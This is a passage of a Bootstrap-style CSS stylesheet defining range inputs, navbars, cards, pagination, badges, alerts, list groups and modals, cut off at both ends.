1rem;\n}\n\n.custom-range::-ms-thumb {\n width: 1rem;\n height: 1rem;\n background-color: #007bff;\n border: 0;\n border-radius: 1rem;\n appearance: none;\n}\n\n.custom-range::-ms-thumb:focus {\n outline: none;\n box-shadow: 0 0 0 1px #fff, 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.custom-range::-ms-thumb:active {\n background-color: #b3d7ff;\n}\n\n.custom-range::-ms-track {\n width: 100%;\n height: 0.5rem;\n color: transparent;\n cursor: pointer;\n background-color: transparent;\n border-color: transparent;\n border-width: 0.5rem;\n}\n\n.custom-range::-ms-fill-lower {\n background-color: #dee2e6;\n border-radius: 1rem;\n}\n\n.custom-range::-ms-fill-upper {\n margin-right: 15px;\n background-color: #dee2e6;\n border-radius: 1rem;\n}\n\n.nav {\n display: flex;\n flex-wrap: wrap;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n\n.nav-link {\n display: block;\n padding: 0.5rem 1rem;\n}\n\n.nav-link:hover, .nav-link:focus {\n text-decoration: none;\n}\n\n.nav-link.disabled {\n color: #6c757d;\n}\n\n.nav-tabs {\n border-bottom: 1px solid #dee2e6;\n}\n\n.nav-tabs .nav-item {\n margin-bottom: -1px;\n}\n\n.nav-tabs .nav-link {\n border: 1px solid transparent;\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.nav-tabs .nav-link:hover, .nav-tabs .nav-link:focus {\n border-color: #e9ecef #e9ecef #dee2e6;\n}\n\n.nav-tabs .nav-link.disabled {\n color: #6c757d;\n background-color: transparent;\n border-color: transparent;\n}\n\n.nav-tabs .nav-link.active,\n.nav-tabs .nav-item.show .nav-link {\n color: #495057;\n background-color: #fff;\n border-color: #dee2e6 #dee2e6 #fff;\n}\n\n.nav-tabs .dropdown-menu {\n margin-top: -1px;\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.nav-pills .nav-link {\n border-radius: 0.25rem;\n}\n\n.nav-pills .nav-link.active,\n.nav-pills .show > .nav-link {\n color: #fff;\n background-color: #007bff;\n}\n\n.nav-fill .nav-item {\n flex: 1 1 auto;\n text-align: center;\n}\n\n.nav-justified .nav-item {\n flex-basis: 0;\n flex-grow: 1;\n text-align: center;\n}\n\n.tab-content > .tab-pane {\n display: none;\n}\n\n.tab-content > .active {\n display: block;\n}\n\n.navbar {\n position: relative;\n display: flex;\n flex-wrap: wrap;\n align-items: center;\n justify-content: space-between;\n padding: 0.5rem 1rem;\n}\n\n.navbar > .container,\n.navbar > .container-fluid {\n display: flex;\n flex-wrap: wrap;\n align-items: center;\n justify-content: space-between;\n}\n\n.navbar-brand {\n display: inline-block;\n padding-top: 0.3125rem;\n padding-bottom: 0.3125rem;\n margin-right: 1rem;\n font-size: 1.25rem;\n line-height: inherit;\n white-space: nowrap;\n}\n\n.navbar-brand:hover, .navbar-brand:focus {\n text-decoration: none;\n}\n\n.navbar-nav {\n display: flex;\n flex-direction: column;\n padding-left: 0;\n margin-bottom: 0;\n list-style: none;\n}\n\n.navbar-nav .nav-link {\n padding-right: 0;\n padding-left: 0;\n}\n\n.navbar-nav .dropdown-menu {\n position: static;\n float: none;\n}\n\n.navbar-text {\n display: inline-block;\n padding-top: 0.5rem;\n padding-bottom: 0.5rem;\n}\n\n.navbar-collapse {\n flex-basis: 100%;\n flex-grow: 1;\n align-items: center;\n}\n\n.navbar-toggler {\n padding: 0.25rem 0.75rem;\n font-size: 1.25rem;\n line-height: 1;\n background-color: transparent;\n border: 1px solid transparent;\n border-radius: 0.25rem;\n}\n\n.navbar-toggler:hover, .navbar-toggler:focus {\n text-decoration: none;\n}\n\n.navbar-toggler:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.navbar-toggler-icon {\n display: inline-block;\n width: 1.5em;\n height: 1.5em;\n vertical-align: middle;\n content: \"\";\n background: no-repeat center center;\n background-size: 100% 100%;\n}\n\n@media (max-width: 575.98px) {\n .navbar-expand-sm > .container,\n .navbar-expand-sm > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 576px) {\n .navbar-expand-sm {\n flex-flow: row nowrap;\n justify-content: flex-start;\n }\n .navbar-expand-sm .navbar-nav {\n flex-direction: row;\n }\n .navbar-expand-sm .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-sm .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-sm > .container,\n .navbar-expand-sm > .container-fluid {\n flex-wrap: nowrap;\n }\n .navbar-expand-sm .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n }\n .navbar-expand-sm .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 767.98px) {\n .navbar-expand-md > .container,\n .navbar-expand-md > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 768px) {\n .navbar-expand-md {\n flex-flow: row nowrap;\n justify-content: flex-start;\n }\n .navbar-expand-md .navbar-nav {\n flex-direction: row;\n }\n .navbar-expand-md .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-md .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-md > .container,\n .navbar-expand-md > .container-fluid {\n flex-wrap: nowrap;\n }\n .navbar-expand-md .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n }\n .navbar-expand-md .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 991.98px) {\n .navbar-expand-lg > .container,\n .navbar-expand-lg > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 992px) {\n .navbar-expand-lg {\n flex-flow: row nowrap;\n justify-content: flex-start;\n }\n .navbar-expand-lg .navbar-nav {\n flex-direction: row;\n }\n .navbar-expand-lg .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-lg .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-lg > .container,\n .navbar-expand-lg > .container-fluid {\n flex-wrap: nowrap;\n }\n .navbar-expand-lg .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n }\n .navbar-expand-lg .navbar-toggler {\n display: none;\n }\n}\n\n@media (max-width: 1199.98px) {\n .navbar-expand-xl > .container,\n .navbar-expand-xl > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n }\n}\n\n@media (min-width: 1200px) {\n .navbar-expand-xl {\n flex-flow: row nowrap;\n justify-content: flex-start;\n }\n .navbar-expand-xl .navbar-nav {\n flex-direction: row;\n }\n .navbar-expand-xl .navbar-nav .dropdown-menu {\n position: absolute;\n }\n .navbar-expand-xl .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n }\n .navbar-expand-xl > .container,\n .navbar-expand-xl > .container-fluid {\n flex-wrap: nowrap;\n }\n .navbar-expand-xl .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n }\n .navbar-expand-xl .navbar-toggler {\n display: none;\n }\n}\n\n.navbar-expand {\n flex-flow: row nowrap;\n justify-content: flex-start;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n padding-right: 0;\n padding-left: 0;\n}\n\n.navbar-expand .navbar-nav {\n flex-direction: row;\n}\n\n.navbar-expand .navbar-nav .dropdown-menu {\n position: absolute;\n}\n\n.navbar-expand .navbar-nav .nav-link {\n padding-right: 0.5rem;\n padding-left: 0.5rem;\n}\n\n.navbar-expand > .container,\n.navbar-expand > .container-fluid {\n flex-wrap: nowrap;\n}\n\n.navbar-expand .navbar-collapse {\n display: flex !important;\n flex-basis: auto;\n}\n\n.navbar-expand .navbar-toggler {\n display: none;\n}\n\n.navbar-light .navbar-brand {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-brand:hover, .navbar-light .navbar-brand:focus {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-nav .nav-link {\n color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-nav .nav-link:hover, .navbar-light .navbar-nav .nav-link:focus {\n color: rgba(0, 0, 0, 0.7);\n}\n\n.navbar-light .navbar-nav .nav-link.disabled {\n color: rgba(0, 0, 0, 0.3);\n}\n\n.navbar-light .navbar-nav .show > .nav-link,\n.navbar-light .navbar-nav .active > .nav-link,\n.navbar-light .navbar-nav .nav-link.show,\n.navbar-light .navbar-nav .nav-link.active {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-toggler {\n color: rgba(0, 0, 0, 0.5);\n border-color: rgba(0, 0, 0, 0.1);\n}\n\n.navbar-light .navbar-toggler-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-light .navbar-text {\n color: rgba(0, 0, 0, 0.5);\n}\n\n.navbar-light .navbar-text a {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-light .navbar-text a:hover, .navbar-light .navbar-text a:focus {\n color: rgba(0, 0, 0, 0.9);\n}\n\n.navbar-dark .navbar-brand {\n color: #fff;\n}\n\n.navbar-dark .navbar-brand:hover, .navbar-dark .navbar-brand:focus {\n color: #fff;\n}\n\n.navbar-dark .navbar-nav .nav-link {\n color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-nav .nav-link:hover, .navbar-dark .navbar-nav .nav-link:focus {\n color: rgba(255, 255, 255, 0.75);\n}\n\n.navbar-dark .navbar-nav .nav-link.disabled {\n color: rgba(255, 255, 255, 0.25);\n}\n\n.navbar-dark .navbar-nav .show > .nav-link,\n.navbar-dark .navbar-nav .active > .nav-link,\n.navbar-dark .navbar-nav .nav-link.show,\n.navbar-dark .navbar-nav .nav-link.active {\n color: #fff;\n}\n\n.navbar-dark .navbar-toggler {\n color: rgba(255, 255, 255, 0.5);\n border-color: rgba(255, 255, 255, 0.1);\n}\n\n.navbar-dark .navbar-toggler-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E\");\n}\n\n.navbar-dark .navbar-text {\n color: rgba(255, 255, 255, 0.5);\n}\n\n.navbar-dark .navbar-text a {\n color: #fff;\n}\n\n.navbar-dark .navbar-text a:hover, .navbar-dark .navbar-text a:focus {\n color: #fff;\n}\n\n.card {\n position: relative;\n display: flex;\n flex-direction: column;\n min-width: 0;\n word-wrap: break-word;\n background-color: #fff;\n background-clip: border-box;\n border: 1px solid rgba(0, 0, 0, 0.125);\n border-radius: 0.25rem;\n}\n\n.card > hr {\n margin-right: 0;\n margin-left: 0;\n}\n\n.card > .list-group:first-child .list-group-item:first-child {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.card > .list-group:last-child .list-group-item:last-child {\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.card-body {\n flex: 1 1 auto;\n padding: 1.25rem;\n}\n\n.card-title {\n margin-bottom: 0.75rem;\n}\n\n.card-subtitle {\n margin-top: -0.375rem;\n margin-bottom: 0;\n}\n\n.card-text:last-child {\n margin-bottom: 0;\n}\n\n.card-link:hover {\n text-decoration: none;\n}\n\n.card-link + .card-link {\n margin-left: 1.25rem;\n}\n\n.card-header {\n padding: 0.75rem 1.25rem;\n margin-bottom: 0;\n background-color: rgba(0, 0, 0, 0.03);\n border-bottom: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-header:first-child {\n border-radius: calc(0.25rem - 1px) calc(0.25rem - 1px) 0 0;\n}\n\n.card-header + .list-group .list-group-item:first-child {\n border-top: 0;\n}\n\n.card-footer {\n padding: 0.75rem 1.25rem;\n background-color: rgba(0, 0, 0, 0.03);\n border-top: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.card-footer:last-child {\n border-radius: 0 0 calc(0.25rem - 1px) calc(0.25rem - 1px);\n}\n\n.card-header-tabs {\n margin-right: -0.625rem;\n margin-bottom: -0.75rem;\n margin-left: -0.625rem;\n border-bottom: 0;\n}\n\n.card-header-pills {\n margin-right: -0.625rem;\n margin-left: -0.625rem;\n}\n\n.card-img-overlay {\n position: absolute;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n padding: 1.25rem;\n}\n\n.card-img {\n width: 100%;\n border-radius: calc(0.25rem - 1px);\n}\n\n.card-img-top {\n width: 100%;\n border-top-left-radius: calc(0.25rem - 1px);\n border-top-right-radius: calc(0.25rem - 1px);\n}\n\n.card-img-bottom {\n width: 100%;\n border-bottom-right-radius: calc(0.25rem - 1px);\n border-bottom-left-radius: calc(0.25rem - 1px);\n}\n\n.card-deck {\n display: flex;\n flex-direction: column;\n}\n\n.card-deck .card {\n margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n .card-deck {\n flex-flow: row wrap;\n margin-right: -15px;\n margin-left: -15px;\n }\n .card-deck .card {\n display: flex;\n flex: 1 0 0%;\n flex-direction: column;\n margin-right: 15px;\n margin-bottom: 0;\n margin-left: 15px;\n }\n}\n\n.card-group {\n display: flex;\n flex-direction: column;\n}\n\n.card-group > .card {\n margin-bottom: 15px;\n}\n\n@media (min-width: 576px) {\n .card-group {\n flex-flow: row wrap;\n }\n .card-group > .card {\n flex: 1 0 0%;\n margin-bottom: 0;\n }\n .card-group > .card + .card {\n margin-left: 0;\n border-left: 0;\n }\n .card-group > .card:first-child {\n border-top-right-radius: 0;\n border-bottom-right-radius: 0;\n }\n .card-group > .card:first-child .card-img-top,\n .card-group > .card:first-child .card-header {\n border-top-right-radius: 0;\n }\n .card-group > .card:first-child .card-img-bottom,\n .card-group > .card:first-child .card-footer {\n border-bottom-right-radius: 0;\n }\n .card-group > .card:last-child {\n border-top-left-radius: 0;\n border-bottom-left-radius: 0;\n }\n .card-group > .card:last-child .card-img-top,\n .card-group > .card:last-child .card-header {\n border-top-left-radius: 0;\n }\n .card-group > .card:last-child .card-img-bottom,\n .card-group > .card:last-child .card-footer {\n border-bottom-left-radius: 0;\n }\n .card-group > .card:only-child {\n border-radius: 0.25rem;\n }\n .card-group > .card:only-child .card-img-top,\n .card-group > .card:only-child .card-header {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n }\n .card-group > .card:only-child .card-img-bottom,\n .card-group > .card:only-child .card-footer {\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n }\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) {\n border-radius: 0;\n }\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-top,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-header,\n .card-group > .card:not(:first-child):not(:last-child):not(:only-child) .card-footer {\n border-radius: 0;\n }\n}\n\n.card-columns .card {\n margin-bottom: 0.75rem;\n}\n\n@media (min-width: 576px) {\n .card-columns {\n column-count: 3;\n column-gap: 1.25rem;\n orphans: 1;\n widows: 1;\n }\n .card-columns .card {\n display: inline-block;\n width: 100%;\n }\n}\n\n.accordion .card:not(:first-of-type):not(:last-of-type) {\n border-bottom: 0;\n border-radius: 0;\n}\n\n.accordion .card:not(:first-of-type) .card-header:first-child {\n border-radius: 0;\n}\n\n.accordion .card:first-of-type {\n border-bottom: 0;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n\n.accordion .card:last-of-type {\n border-top-left-radius: 0;\n border-top-right-radius: 0;\n}\n\n.breadcrumb {\n display: flex;\n flex-wrap: wrap;\n padding: 0.75rem 1rem;\n margin-bottom: 1rem;\n list-style: none;\n background-color: #e9ecef;\n border-radius: 0.25rem;\n}\n\n.breadcrumb-item + .breadcrumb-item {\n padding-left: 0.5rem;\n}\n\n.breadcrumb-item + .breadcrumb-item::before {\n display: inline-block;\n padding-right: 0.5rem;\n color: #6c757d;\n content: \"/\";\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n text-decoration: underline;\n}\n\n.breadcrumb-item + .breadcrumb-item:hover::before {\n text-decoration: none;\n}\n\n.breadcrumb-item.active {\n color: #6c757d;\n}\n\n.pagination {\n display: flex;\n padding-left: 0;\n list-style: none;\n border-radius: 0.25rem;\n}\n\n.page-link {\n position: relative;\n display: block;\n padding: 0.5rem 0.75rem;\n margin-left: -1px;\n line-height: 1.25;\n color: #007bff;\n background-color: #fff;\n border: 1px solid #dee2e6;\n}\n\n.page-link:hover {\n z-index: 2;\n color: #0056b3;\n text-decoration: none;\n background-color: #e9ecef;\n border-color: #dee2e6;\n}\n\n.page-link:focus {\n z-index: 2;\n outline: 0;\n box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);\n}\n\n.page-link:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\n.page-item:first-child .page-link {\n margin-left: 0;\n border-top-left-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.page-item:last-child .page-link {\n border-top-right-radius: 0.25rem;\n border-bottom-right-radius: 0.25rem;\n}\n\n.page-item.active .page-link {\n z-index: 1;\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.page-item.disabled .page-link {\n color: #6c757d;\n pointer-events: none;\n cursor: auto;\n background-color: #fff;\n border-color: #dee2e6;\n}\n\n.pagination-lg .page-link {\n padding: 0.75rem 1.5rem;\n font-size: 1.25rem;\n line-height: 1.5;\n}\n\n.pagination-lg .page-item:first-child .page-link {\n border-top-left-radius: 0.3rem;\n border-bottom-left-radius: 0.3rem;\n}\n\n.pagination-lg .page-item:last-child .page-link {\n border-top-right-radius: 0.3rem;\n border-bottom-right-radius: 0.3rem;\n}\n\n.pagination-sm .page-link {\n padding: 0.25rem 0.5rem;\n font-size: 0.875rem;\n line-height: 1.5;\n}\n\n.pagination-sm .page-item:first-child .page-link {\n border-top-left-radius: 0.2rem;\n border-bottom-left-radius: 0.2rem;\n}\n\n.pagination-sm .page-item:last-child .page-link {\n border-top-right-radius: 0.2rem;\n border-bottom-right-radius: 0.2rem;\n}\n\n.badge {\n display: inline-block;\n padding: 0.25em 0.4em;\n font-size: 75%;\n font-weight: 700;\n line-height: 1;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: 0.25rem;\n}\n\n.badge:empty {\n display: none;\n}\n\n.btn .badge {\n position: relative;\n top: -1px;\n}\n\n.badge-pill {\n padding-right: 0.6em;\n padding-left: 0.6em;\n border-radius: 10rem;\n}\n\n.badge-primary {\n color: #fff;\n background-color: #007bff;\n}\n\n.badge-primary[href]:hover, .badge-primary[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #0062cc;\n}\n\n.badge-secondary {\n color: #fff;\n background-color: #6c757d;\n}\n\n.badge-secondary[href]:hover, .badge-secondary[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #545b62;\n}\n\n.badge-success {\n color: #fff;\n background-color: #28a745;\n}\n\n.badge-success[href]:hover, .badge-success[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #1e7e34;\n}\n\n.badge-info {\n color: #fff;\n background-color: #17a2b8;\n}\n\n.badge-info[href]:hover, .badge-info[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #117a8b;\n}\n\n.badge-warning {\n color: #212529;\n background-color: #ffc107;\n}\n\n.badge-warning[href]:hover, .badge-warning[href]:focus {\n color: #212529;\n text-decoration: none;\n background-color: #d39e00;\n}\n\n.badge-danger {\n color: #fff;\n background-color: #dc3545;\n}\n\n.badge-danger[href]:hover, .badge-danger[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #bd2130;\n}\n\n.badge-light {\n color: #212529;\n background-color: #f8f9fa;\n}\n\n.badge-light[href]:hover, .badge-light[href]:focus {\n color: #212529;\n text-decoration: none;\n background-color: #dae0e5;\n}\n\n.badge-dark {\n color: #fff;\n background-color: #343a40;\n}\n\n.badge-dark[href]:hover, .badge-dark[href]:focus {\n color: #fff;\n text-decoration: none;\n background-color: #1d2124;\n}\n\n.jumbotron {\n padding: 2rem 1rem;\n margin-bottom: 2rem;\n background-color: #e9ecef;\n border-radius: 0.3rem;\n}\n\n@media (min-width: 576px) {\n .jumbotron {\n padding: 4rem 2rem;\n }\n}\n\n.jumbotron-fluid {\n padding-right: 0;\n padding-left: 0;\n border-radius: 0;\n}\n\n.alert {\n position: relative;\n padding: 0.75rem 1.25rem;\n margin-bottom: 1rem;\n border: 1px solid transparent;\n border-radius: 0.25rem;\n}\n\n.alert-heading {\n color: inherit;\n}\n\n.alert-link {\n font-weight: 700;\n}\n\n.alert-dismissible {\n padding-right: 4rem;\n}\n\n.alert-dismissible .close {\n position: absolute;\n top: 0;\n right: 0;\n padding: 0.75rem 1.25rem;\n color: inherit;\n}\n\n.alert-primary {\n color: #004085;\n background-color: #cce5ff;\n border-color: #b8daff;\n}\n\n.alert-primary hr {\n border-top-color: #9fcdff;\n}\n\n.alert-primary .alert-link {\n color: #002752;\n}\n\n.alert-secondary {\n color: #383d41;\n background-color: #e2e3e5;\n border-color: #d6d8db;\n}\n\n.alert-secondary hr {\n border-top-color: #c8cbcf;\n}\n\n.alert-secondary .alert-link {\n color: #202326;\n}\n\n.alert-success {\n color: #155724;\n background-color: #d4edda;\n border-color: #c3e6cb;\n}\n\n.alert-success hr {\n border-top-color: #b1dfbb;\n}\n\n.alert-success .alert-link {\n color: #0b2e13;\n}\n\n.alert-info {\n color: #0c5460;\n background-color: #d1ecf1;\n border-color: #bee5eb;\n}\n\n.alert-info hr {\n border-top-color: #abdde5;\n}\n\n.alert-info .alert-link {\n color: #062c33;\n}\n\n.alert-warning {\n color: #856404;\n background-color: #fff3cd;\n border-color: #ffeeba;\n}\n\n.alert-warning hr {\n border-top-color: #ffe8a1;\n}\n\n.alert-warning .alert-link {\n color: #533f03;\n}\n\n.alert-danger {\n color: #721c24;\n background-color: #f8d7da;\n border-color: #f5c6cb;\n}\n\n.alert-danger hr {\n border-top-color: #f1b0b7;\n}\n\n.alert-danger .alert-link {\n color: #491217;\n}\n\n.alert-light {\n color: #818182;\n background-color: #fefefe;\n border-color: #fdfdfe;\n}\n\n.alert-light hr {\n border-top-color: #ececf6;\n}\n\n.alert-light .alert-link {\n color: #686868;\n}\n\n.alert-dark {\n color: #1b1e21;\n background-color: #d6d8d9;\n border-color: #c6c8ca;\n}\n\n.alert-dark hr {\n border-top-color: #b9bbbe;\n}\n\n.alert-dark .alert-link {\n color: #040505;\n}\n\n@keyframes progress-bar-stripes {\n from {\n background-position: 1rem 0;\n }\n to {\n background-position: 0 0;\n }\n}\n\n.progress {\n display: flex;\n height: 1rem;\n overflow: hidden;\n font-size: 0.75rem;\n background-color: #e9ecef;\n border-radius: 0.25rem;\n}\n\n.progress-bar {\n display: flex;\n flex-direction: column;\n justify-content: center;\n color: #fff;\n text-align: center;\n white-space: nowrap;\n background-color: #007bff;\n transition: width 0.6s ease;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .progress-bar {\n transition: none;\n }\n}\n\n.progress-bar-striped {\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 1rem 1rem;\n}\n\n.progress-bar-animated {\n animation: progress-bar-stripes 1s linear infinite;\n}\n\n.media {\n display: flex;\n align-items: flex-start;\n}\n\n.media-body {\n flex: 1;\n}\n\n.list-group {\n display: flex;\n flex-direction: column;\n padding-left: 0;\n margin-bottom: 0;\n}\n\n.list-group-item-action {\n width: 100%;\n color: #495057;\n text-align: inherit;\n}\n\n.list-group-item-action:hover, .list-group-item-action:focus {\n color: #495057;\n text-decoration: none;\n background-color: #f8f9fa;\n}\n\n.list-group-item-action:active {\n color: #212529;\n background-color: #e9ecef;\n}\n\n.list-group-item {\n position: relative;\n display: block;\n padding: 0.75rem 1.25rem;\n margin-bottom: -1px;\n background-color: #fff;\n border: 1px solid rgba(0, 0, 0, 0.125);\n}\n\n.list-group-item:first-child {\n border-top-left-radius: 0.25rem;\n border-top-right-radius: 0.25rem;\n}\n\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 0.25rem;\n border-bottom-left-radius: 0.25rem;\n}\n\n.list-group-item:hover, .list-group-item:focus {\n z-index: 1;\n text-decoration: none;\n}\n\n.list-group-item.disabled, .list-group-item:disabled {\n color: #6c757d;\n background-color: #fff;\n}\n\n.list-group-item.active {\n z-index: 2;\n color: #fff;\n background-color: #007bff;\n border-color: #007bff;\n}\n\n.list-group-flush .list-group-item {\n border-right: 0;\n border-left: 0;\n border-radius: 0;\n}\n\n.list-group-flush:first-child .list-group-item:first-child {\n border-top: 0;\n}\n\n.list-group-flush:last-child .list-group-item:last-child {\n border-bottom: 0;\n}\n\n.list-group-item-primary {\n color: #004085;\n background-color: #b8daff;\n}\n\n.list-group-item-primary.list-group-item-action:hover, .list-group-item-primary.list-group-item-action:focus {\n color: #004085;\n background-color: #9fcdff;\n}\n\n.list-group-item-primary.list-group-item-action.active {\n color: #fff;\n background-color: #004085;\n border-color: #004085;\n}\n\n.list-group-item-secondary {\n color: #383d41;\n background-color: #d6d8db;\n}\n\n.list-group-item-secondary.list-group-item-action:hover, .list-group-item-secondary.list-group-item-action:focus {\n color: #383d41;\n background-color: #c8cbcf;\n}\n\n.list-group-item-secondary.list-group-item-action.active {\n color: #fff;\n background-color: #383d41;\n border-color: #383d41;\n}\n\n.list-group-item-success {\n color: #155724;\n background-color: #c3e6cb;\n}\n\n.list-group-item-success.list-group-item-action:hover, .list-group-item-success.list-group-item-action:focus {\n color: #155724;\n background-color: #b1dfbb;\n}\n\n.list-group-item-success.list-group-item-action.active {\n color: #fff;\n background-color: #155724;\n border-color: #155724;\n}\n\n.list-group-item-info {\n color: #0c5460;\n background-color: #bee5eb;\n}\n\n.list-group-item-info.list-group-item-action:hover, .list-group-item-info.list-group-item-action:focus {\n color: #0c5460;\n background-color: #abdde5;\n}\n\n.list-group-item-info.list-group-item-action.active {\n color: #fff;\n background-color: #0c5460;\n border-color: #0c5460;\n}\n\n.list-group-item-warning {\n color: #856404;\n background-color: #ffeeba;\n}\n\n.list-group-item-warning.list-group-item-action:hover, .list-group-item-warning.list-group-item-action:focus {\n color: #856404;\n background-color: #ffe8a1;\n}\n\n.list-group-item-warning.list-group-item-action.active {\n color: #fff;\n background-color: #856404;\n border-color: #856404;\n}\n\n.list-group-item-danger {\n color: #721c24;\n background-color: #f5c6cb;\n}\n\n.list-group-item-danger.list-group-item-action:hover, .list-group-item-danger.list-group-item-action:focus {\n color: #721c24;\n background-color: #f1b0b7;\n}\n\n.list-group-item-danger.list-group-item-action.active {\n color: #fff;\n background-color: #721c24;\n border-color: #721c24;\n}\n\n.list-group-item-light {\n color: #818182;\n background-color: #fdfdfe;\n}\n\n.list-group-item-light.list-group-item-action:hover, .list-group-item-light.list-group-item-action:focus {\n color: #818182;\n background-color: #ececf6;\n}\n\n.list-group-item-light.list-group-item-action.active {\n color: #fff;\n background-color: #818182;\n border-color: #818182;\n}\n\n.list-group-item-dark {\n color: #1b1e21;\n background-color: #c6c8ca;\n}\n\n.list-group-item-dark.list-group-item-action:hover, .list-group-item-dark.list-group-item-action:focus {\n color: #1b1e21;\n background-color: #b9bbbe;\n}\n\n.list-group-item-dark.list-group-item-action.active {\n color: #fff;\n background-color: #1b1e21;\n border-color: #1b1e21;\n}\n\n.close {\n float: right;\n font-size: 1.5rem;\n font-weight: 700;\n line-height: 1;\n color: #000;\n text-shadow: 0 1px 0 #fff;\n opacity: .5;\n}\n\n.close:hover, .close:focus {\n color: #000;\n text-decoration: none;\n opacity: .75;\n}\n\n.close:not(:disabled):not(.disabled) {\n cursor: pointer;\n}\n\nbutton.close {\n padding: 0;\n background-color: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n\n.modal-open {\n overflow: hidden;\n}\n\n.modal {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n display: none;\n overflow: hidden;\n outline: 0;\n}\n\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 0.5rem;\n pointer-events: none;\n}\n\n.modal.fade .modal-dialog {\n transition: transform 0.3s ease-out;\n transform: translate(0, -25%);\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .modal.fade .modal-dialog {\n transition: none;\n }\n}\n\n.modal.show .modal-dialog {\n transform: translate(0, 0);\n}\n\n.modal-dialog-centered {\n display: flex;\n align-items: center;\n min-height: calc(100% - (0.5rem * 2));\n}\n\n.modal-content {\n position: relative;\n display: flex;\n flex-direction: column;\n width: 100%;\n pointer-events: auto;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 0.3rem;\n outline: 0;\n}\n\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000;\n}\n\n.modal-backdrop.fade {\n opacity: 0;\n}\n\n.modal-backdrop.show {\n opacity: 0.5;\n}\n\n.modal-header {\n display: flex;\n align-items: flex-start;\n justify-content: space-between;\n padding: 1rem;\n border-bottom: 1px solid #e9ecef;\n 